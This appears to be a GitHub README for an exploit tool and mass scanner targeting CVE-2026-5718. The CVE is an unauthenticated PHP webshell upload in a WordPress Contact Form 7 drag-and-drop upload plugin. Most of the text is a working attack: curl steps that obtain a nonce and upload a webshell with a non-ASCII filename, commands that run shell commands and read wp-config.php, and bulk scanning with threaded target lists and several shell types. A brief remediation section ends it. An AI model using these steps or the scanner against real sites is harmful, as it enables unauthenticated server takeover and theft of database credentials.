xxconi/CVE-2026-5718

GitHub: xxconi/CVE-2026-5718

该项目是针对 WordPress DnD Upload CF7 插件未经身份验证文件上传导致 RCE 漏洞(CVE-2026-5718)的利用工具与自动化扫描器。

Stars: 0 | Forks: 0

# CVE-2026-5718 CVE-2026-5718:DnD Upload CF7 Plugin 中未经身份验证的文件上传导致远程代码执行 (RCE) # CVE-2026-5718 — DnD CF7 File Upload RCE Scanner ## 📌 关于漏洞 在 Drag and Drop Multiple File Upload for Contact Form 7 插件中,**两个独立的逻辑错误**结合在一起,使得未经身份验证的攻击者能够上传 PHP webshell。 1. **黑名单覆盖:** 自定义黑名单配置会**完全替换**默认的危险扩展名列表,而不是进行合并。这导致 `php` 不再被拦截。 2. **Non-ASCII 绕过:** 文件名中包含 non-ASCII 字符会阻止调用 `wpcf7_antiscript_file_name()` 函数。这使得 `.php` 扩展名得以保留,并且文件被写入磁盘。 ## 🔍 漏洞概述 | 领域 | 值 | |---|---| | **插件名称** | Drag and Drop Multiple File Upload for CF7 | | **CVE ID** | CVE-2026-5718 | | **CVSS 评分** | 8.1 (高) | | **漏洞类型** | 未经身份验证的任意文件上传 | | **受影响版本** | <= 1.3.9.6 | | **已修复版本** | 1.3.9.7 | | **前置条件** | CF7 表单中包含 `blacklist-types` 自定义配置 | ## ⚙️ 技术分析 ### 漏洞 1 — Nonce 公开暴露 (第 62 行) ``` // inc/dnd-upload-cf7.php — lines 62–71 function dnd_wpcf7_nonce_check() { // Tek koruma: User-Agent'ta 'curl' kontrolü — kolayca atlatılır if ( strpos( $_SERVER['HTTP_USER_AGENT'], 'curl' ) !== false ) { wp_send_json_error('Request blocked: cURL access is forbidden.'); } if( ! check_ajax_referer( 'dnd-cf7-security-nonce', false, false ) ){ // Geçersiz nonce → YENİ NONCE DÖNDÜRÜR wp_send_json_success( wp_create_nonce( "dnd-cf7-security-nonce" ) ); } } ``` `wp_ajax_nopriv__wpcf7_check_nonce` action 对公众公开。当发送无效的 nonce 时,会**免费生成一个新的 nonce。** 可以通过使用 Mozilla UA 的 curl 请求绕过检查。 ### 漏洞 2 — 黑名单替换而非合并 (第 883 行) ``` // inc/dnd-upload-cf7.php — lines 883–886 $blacklist_types = dnd_cf7_not_allowed_ext(); // ↑ ~80 tehlikeli uzantı: php, php3, php4, pht, phtml, phar... if ( isset( $blacklist["$cf7_upload_name"] ) && ! empty( $blacklist["$cf7_upload_name"] ) ) { $blacklist_types = explode( '|', $blacklist["$cf7_upload_name"] ); // ↑ ASSIGNMENT (=) — MERGE DEĞİL // Özel liste: sadece ['zip'] // 'php' artık listede YOK → kabul edilir } ``` 触发漏洞的表单标签配置: ``` [mfile upload-file filetypes="*" blacklist-types:zip] ``` 管理员想要拦截 ZIP → 插件会清除所有默认的 denylist。包括 `php` 在内的所有危险扩展名现在都被接受。 此外,针对 `filetypes="*"` 的硬编码列表也不完整: ``` // line 927 — 'php', 'php3', 'php4', 'pht', 'phtml' EKSİK $not_allowed_ext = array( 'phar', 'svg', 'php5', 'php7', 'php8' ); ``` ### 漏洞 3 — Non-ASCII 绕过 (第 970 行) ``` // inc/dnd-upload-cf7.php — lines 969–972 $ascii_name = dnd_cf7_remove_icons( $filename ); if ( dnd_cf7_check_ascii( $ascii_name ) ) { // Sadece pure-ASCII dosya adları için çağrılır $filename = wpcf7_antiscript_file_name( $ascii_name ); // ↑ shell.php → shell.php.txt yapardı — ama atlanıyor } // Non-ASCII karakter varsa bu blok ATLANIR // $filename = "shellシ.php" → .php uzantısı korunur ``` ``` // dnd_cf7_check_ascii() — lines 1029–1041 function dnd_cf7_check_ascii( $string ) { $string = sanitize_file_name( $string ); // ↑ Sadece lokal kopya değişir, dış $filename ETKİLENMEZ if ( mb_check_encoding( $string, 'ASCII' ) ) { return true; } return false; // Non-ASCII karakter → false → antiscript atlanır } ``` ## 🔴 完整攻击链 ``` ┌─────────────────────────────────────────────────────────────┐ │ POST /wp-admin/admin-ajax.php?action=_wpcf7_check_nonce │ │ User-Agent: Mozilla/5.0 (curl değil) │ │ │ │ │ ▼ │ │ {"success":true,"data":"abc123def456"} │ │ → Nonce ücretsiz alındı │ └──────────────────────────┬──────────────────────────────────┘ │ ┌──────────────────────────▼──────────────────────────────────┐ │ POST /wp-admin/admin-ajax.php?action=dnd_codedropz_upload │ │ security=abc123def456 │ │ upload-file=shellシ.php (Content-Type: application/x-php) │ │ │ │ │ ├── Nonce geçerli ✓ │ │ ├── blacklist=['zip'] → 'php' engellenmez ✓ │ │ ├── dnd_cf7_check_ascii("shellシ.php") = false │ │ ├── wpcf7_antiscript_file_name() ATLANIR ✓ │ │ └── move_uploaded_file("shellシ.php") → Diske yazıldı│ └──────────────────────────┬──────────────────────────────────┘ │ ┌──────────────────────────▼──────────────────────────────────┐ │ GET /wp-content/uploads/wp_dndcf7_uploads/ │ │ wpcf7-files//shell%E3%82%B7.php?cmd=id │ │ │ │ │ ▼ │ │ uid=33(www-data) gid=33(www-data) groups=33(www-data) │ │ → Unauthenticated RCE ✓ │ └─────────────────────────────────────────────────────────────┘ ``` ## 🧪 PoC(手动验证) **前置条件:** - 插件已安装并激活(版本 <= 1.3.9.6) - CF7 表单必须包含带有 `blacklist-types` 的 `[mfile]` 字段: [mfile upload-file filetypes="*" blacklist-types:zip] ### 步骤 1 — 获取 Nonce ``` TARGET="https://target.example.com" NONCE=$(curl -s -X POST \ "$TARGET/wp-admin/admin-ajax.php" \ -H "User-Agent: Mozilla/5.0 (X11; Linux x86_64)" \ --data "action=_wpcf7_check_nonce" \ | python3 -c "import sys,json; print(json.load(sys.stdin)['data'])") echo "Nonce: $NONCE" ``` 预期响应: ``` {"success": true, "data": "abc123def456"} ``` ### 步骤 2 — 使用 Non-ASCII 文件名创建 Webshell ``` # 'シ' (U+30B7 Katakana) → dnd_cf7_check_ascii() = false SHELL_FILENAME="shellシ.php" echo '' > "/tmp/${SHELL_FILENAME}" ``` ### 步骤 3 — 上传 Shell ``` FORM_ID=1 FIELD_NAME="upload-file" SESSION_FOLDER=$(uuidgen | tr '[:upper:]' '[:lower:]' | tr -d '-') curl -s -X POST "$TARGET/wp-admin/admin-ajax.php" \ -H "User-Agent: Mozilla/5.0 (X11; Linux x86_64)" \ -F "action=dnd_codedropz_upload" \ -F "security=${NONCE}" \ -F "form_id=${FORM_ID}" \ -F "upload_name=${FIELD_NAME}" \ -F "upload_folder=${SESSION_FOLDER}" \ -F "upload-file=@/tmp/${SHELL_FILENAME};type=application/x-php" ``` 预期响应: ``` { "success": true, "data": { "path": "", "file": "shellシ.php" } } ``` ### 步骤 4 — 生成 Shell URL ``` UPLOAD_PATH="" SHELL_URL="$TARGET/wp-content/uploads/wp_dndcf7_uploads/wpcf7-files/${UPLOAD_PATH}/shell%E3%82%B7.php" echo "Shell URL: $SHELL_URL" ``` ### 步骤 5 — 触发 RCE ``` # id 命令 curl -s "${SHELL_URL}?cmd=id" # uid=33(www-data) gid=33(www-data) groups=33(www-data) # 读取 wp-config.php curl -s "${SHELL_URL}?cmd=cat+/var/www/html/wp-config.php" ``` ## 🛠️ 自动化扫描器 ### 安装 ``` git clone https://github.com/kullanici/cve-2026-5718-scanner cd cve-2026-5718-scanner pip install -r requirements.txt ``` **requirements.txt** ``` requests ``` ## 🚀 使用说明 ### 单一目标 — 全自动 ``` python dnd_cf7_upload.py -u http://hedef.com ``` ### 手动指定 Form ID 和 Field 名称 ``` python dnd_cf7_upload.py -u http://hedef.com \ --form-id 1 --field-name upload-file ``` ### Full Shell + 自定义命令 ``` python dnd_cf7_upload.py -u http://hedef.com \ --shell-type full --verify-cmd "whoami" ``` ### 批量扫描 ``` python dnd_cf7_upload.py -l targets.txt -t 20 -o sonuclar.txt ``` ### 使用 Proxy (Burp Suite) ``` python dnd_cf7_upload.py -u http://hedef.com \ --proxy http://127.0.0.1:8080 ``` ## ⚙️ 参数说明 | 参数 | 简写 | 描述 | 默认值 | |---|---|---|---| | `--url` | `-u` | 单一目标 URL | — | | `--list` | `-l` | 目标列表文件 | — | | `--threads` | `-t` | Thread 数量 | `10` | | `--output` | `-o` | 输出文件 | `rce_results.txt` | | `--form-id` | — | CF7 form ID | 自动检测 | | `--field-name` | — | mfile field 名称 | `upload-file` | | `--shell-name` | — | Shell 文件名 | `shell` | | `--shell-type` | — | Shell 类型 | `system` | | `--verify-cmd` | — | RCE 验证命令 | `id` | | `--proxy` | — | Proxy URL | — | | `--timeout` | — | 请求 timeout (秒) | `10` | | `--force` | — | 即使插件检测失败也继续执行 | `False` | ## 💀 Shell 类型 | 类型 | Payload | 描述 | |---|---|---| | `system` | `` | 基础系统命令 | | `passthru` | `` | 原始输出 | | `exec` | `` | 静默执行 | | `assert` | `` | 通过 POST 执行 eval | | `b64` | `` | Base64 混淆 | | `full` | shell_exec + system + exec fallback | 全功能 | ## 🔤 Non-ASCII 字符集 扫描器会按顺序尝试以下字符: | 字符 | Unicode | 描述 | |---|---|---| | `シ` | U+30B7 | Katakana Si (PoC 中使用) | | `ж` | U+0436 | 西里尔文 | | `ñ` | U+00F1 | 拉丁扩展 | | `中` | U+4E2D | CJK | | `α` | U+03B1 | 希腊文 | | `ß` | U+00DF | 德语 | ## 📂 Shell 上传位置 ``` WordPress Kök/ └── wp-content/ └── uploads/ └── wp_dndcf7_uploads/ └── wpcf7-files/ └── / └── shellシ.php ← Shell burada ``` ## 📊 扫描器输出状态 | 状态 | 描述 | |---|---| | `★ RCE OK` | Shell 已上传 + 命令执行成功 | | `★ SHELL ALIVE` | Shell 可访问,响应不同 | | `~ EXEC_DISABLED` | Shell 存在,但 exec() 被禁用 | | `~ HTACCESS` | Shell 已上传,但被 .htaccess 拦截 | | `? UPLOADED` | 上传成功,但未找到 URL | | `- UPL_FAIL` | 上传失败(已修复/无相应配置) | | `~ NO_NONCE` | 无法获取 nonce | | `- NO_PLUGIN` | 未安装该插件 | | `~ UNREACH` | 无法访问目标 | ## 🖥️ 扫描器输出示例 ``` [*] Hedef : http://hedef.com [*] Form ID : otomatik tespit [*] Shell Tipi : system [*] Verify CMD : id [→] http://hedef.com Adım 1/5: Nonce alınıyor... [→] http://hedef.com Adım 2/5: CF7 form tespiti... [→] http://hedef.com Adım 3/5: Shell yükleniyor (non-ASCII bypass)... [→] http://hedef.com Adım 4/5: Shell URL oluşturuluyor... [→] http://hedef.com Adım 5/5: RCE doğrulanıyor... ═════════════════════════════════════════════════════════════════ [★ RCE OK ] http://hedef.com Sürüm : 1.3.9.6 Nonce : abc123def4 (kaynak: ajax_endpoint) Non-ASCII : シ Shell URL : http://hedef.com/wp-content/uploads/wp_dndcf7_uploads/ wpcf7-files/a1b2c3d4e5f6/shell%E3%82%B7.php RCE Çıktı : uid=33(www-data) gid=33(www-data) groups=33(www-data) ═════════════════════════════════════════════════════════════════ [+] Kaydedildi → rce_results.txt ``` ## 🛡️ 防御 / 修复 | 措施 | 实施方法 | |---|---| | **插件更新** | 升级至 1.3.9.7+ 版本 | | **黑名单合并** | 使用 `array_merge()` 替代 `=` | | **无条件执行 Antiscript** | 必须始终调用 `wpcf7_antiscript_file_name()` | | **Nonce 保护** | 禁止公开访问 nonce endpoint | | **.htaccess** | 禁止在 upload 目录中执行 PHP | **安全的黑名单合并方式:** ``` // Güvensiz (mevcut — 1.3.9.6) $blacklist_types = explode( '|', $blacklist["$cf7_upload_name"] ); // Güvenli (önerilen — 1.3.9.7+) $blacklist_types = array_merge( dnd_cf7_not_allowed_ext(), explode( '|', $blacklist["$cf7_upload_name"] ) ); ``` **无条件执行 antiscript:** ``` // Güvensiz (mevcut) if ( dnd_cf7_check_ascii( $ascii_name ) ) { $filename = wpcf7_antiscript_file_name( $ascii_name ); } // Güvenli (önerilen) $filename = wpcf7_antiscript_file_name( $filename ); // her zaman çağır ``` **upload 目录的 .htaccess:** ``` Deny from all Options -ExecCGI AddType text/plain .php .php5 .phtml .phar ``` ## 📁 文件结构 ``` cve-2026-5718-scanner/ ├── dnd_cf7_upload.py # Ana tarayıcı ├── requirements.txt # Bağımlılıklar └── README.md # Bu dosya ``` ## ⚠️ 免责声明 ## 📄 许可证 MIT License — 仅供教育和研究目的使用。 ## 🔗 参考 - [Wordfence 公告](https://www.wordfence.com/threat-intel/vulnerabilities/) - [插件 WordPress 目录](https://wordpress.org/plugins/drag-and-drop-multiple-file-upload-contact-form-7/) - [CVSS 3.1 计算器](https://www.first.org/cvss/calculator/3.1) - [CWE-434: 危险类型文件的不受限制上传](https://cwe.mitre.org/data/definitions/434.html) - [Unicode Non-ASCII 字符](https://www.unicode.org/charts/)
标签:CISA项目, OpenVAS, PHP, RCE, Web安全, WordPress插件, 加密, 文件完整性监控, 未授权文件上传, 漏洞扫描器, 蓝队分析, 逆向工具